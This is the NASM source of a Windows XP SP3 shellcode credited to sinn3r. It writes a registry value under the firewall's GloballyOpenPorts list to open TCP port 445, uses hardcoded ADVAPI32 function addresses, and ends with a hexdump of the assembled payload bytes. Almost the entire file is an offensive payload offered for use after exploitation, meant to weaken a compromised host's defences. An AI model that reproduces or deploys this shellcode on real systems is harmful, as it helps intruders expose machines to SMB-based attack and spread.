; Author: sinn3r
; Tested on Windows XP SP3
; Description:
; This shellcode will create a XP firewall rule to allow TCP traffic on port 445.
; Make sure ADVAPI32.dll is loaded.

[BITS 32]

global _start

_start:

;for the handle
xor edx, edx
mov edi, esp
mov dword [edi], edx
sub esp, 0x10  ;avoid handle being overwritten

;Prepare the key
push 0x00747369
push 0x4c5c7374
push 0x726f506e
push 0x65704f79
push 0x6c6c6162
push 0x6f6c475c
push 0x656c6966
push 0x6f725064
push 0x7261646e
push 0x6174535c
push 0x7963696c
push 0x6f706c6c
push 0x61776572
push 0x69465c73
push 0x72657465
push 0x6d617261
push 0x505c7373
push 0x65636341
push 0x64657261
push 0x68535c73
push 0x65636976
push 0x7265535c
push 0x7465536c
push 0x6f72746e
push 0x6f43746e
push 0x65727275
push 0x435c4d45
push 0x54535953
mov edx, esp

xor eax, eax
push eax  ;pDisposion = NULL
push edi  ;pHandle
push eax  ;pSecurity = NULL
push 0x0f003f  ;Access = KEY_ALL_ACCESS
push eax  ;Options = REG_OPTION_NON_VOLATILE
push eax  ;Class = NULL
push eax  ;Reserved = NULL
push edx  ;Subkey
push 0x80000002  ;hkey = HKEY_LOCAL_MACHINE
mov eax, 0x77DDE9E4 ;RegCreateKeyExA
call eax

;RegSetValue ValueName = 445:TCP
push 0x00504354
push 0x3a353434
mov edx, esp

;REgSEtValue buffer = 445:TCP:*:Enabled:test
push 0x00007473
push 0x65743a64
push 0x656c6261
push 0x6e453a2a
push 0x3a504354
push 0x3a353434
mov ecx, esp

xor eax, eax
inc eax
push 0x16  ;BufSize = 0x16
push ecx  ;Buffer
push eax  ;ValueType = REG-SZ
dec eax
push eax  ;Reserved = 0
push edx  ;ValueName
push dword [edi] ;hKey
mov eax, 0x77ddead7 ;RegSetValueExA
call eax

push dword [edi] ;hKey
mov eax, 0x77dd6c17 ;RegCloseKey
call eax

;shellcode:
;sinn3r@backtrack:~$ nasm -f bin addFirewallRule2.asm -o addFirewallRule2 |cat addFirewallRule2 |hexdump -C |grep -v 000000ff
;00000000  31 d2 89 e7 89 17 81 ec  10 00 00 00 68 69 73 74  |1...........hist|
;00000010  00 68 74 73 5c 4c 68 6e  50 6f 72 68 79 4f 70 65  |.hts\LhnPorhyOpe|
;00000020  68 62 61 6c 6c 68 5c 47  6c 6f 68 66 69 6c 65 68  |hballh\Glohfileh|
;00000030  64 50 72 6f 68 6e 64 61  72 68 5c 53 74 61 68 6c  |dProhndarh\Stahl|
;00000040  69 63 79 68 6c 6c 70 6f  68 72 65 77 61 68 73 5c  |icyhllpohrewahs\|
;00000050  46 69 68 65 74 65 72 68  61 72 61 6d 68 73 73 5c  |Fiheterharamhss\|
;00000060  50 68 41 63 63 65 68 61  72 65 64 68 73 5c 53 68  |PhAcceharedhs\Sh|
;00000070  68 76 69 63 65 68 5c 53  65 72 68 6c 53 65 74 68  |hviceh\SerhlSeth|
;00000080  6e 74 72 6f 68 6e 74 43  6f 68 75 72 72 65 68 45  |ntrohntCohurrehE|
;00000090  4d 5c 43 68 53 59 53 54  89 e2 31 c0 50 57 50 68  |M\ChSYST..1.PWPh|
;000000a0  3f 00 0f 00 50 50 50 52  68 02 00 00 80 b8 e4 e9  |?...PPPRh.......|
;000000b0  dd 77 ff d0 68 54 43 50  00 68 34 34 35 3a 89 e2  |.w..hTCP.h445:..|
;000000c0  68 73 74 00 00 68 64 3a  74 65 68 61 62 6c 65 68  |hst..hd:tehableh|
;000000d0  2a 3a 45 6e 68 54 43 50  3a 68 34 34 35 3a 89 e1  |*:EnhTCP:h445:..|
;000000e0  31 c0 40 68 16 00 00 00  51 50 48 50 52 ff 37 b8  |1.@h....QPHPR.7.|
;000000f0  d7 ea dd 77 ff d0 ff 37  b8 17 6c dd 77 ff d0     |...w...7..l.w..|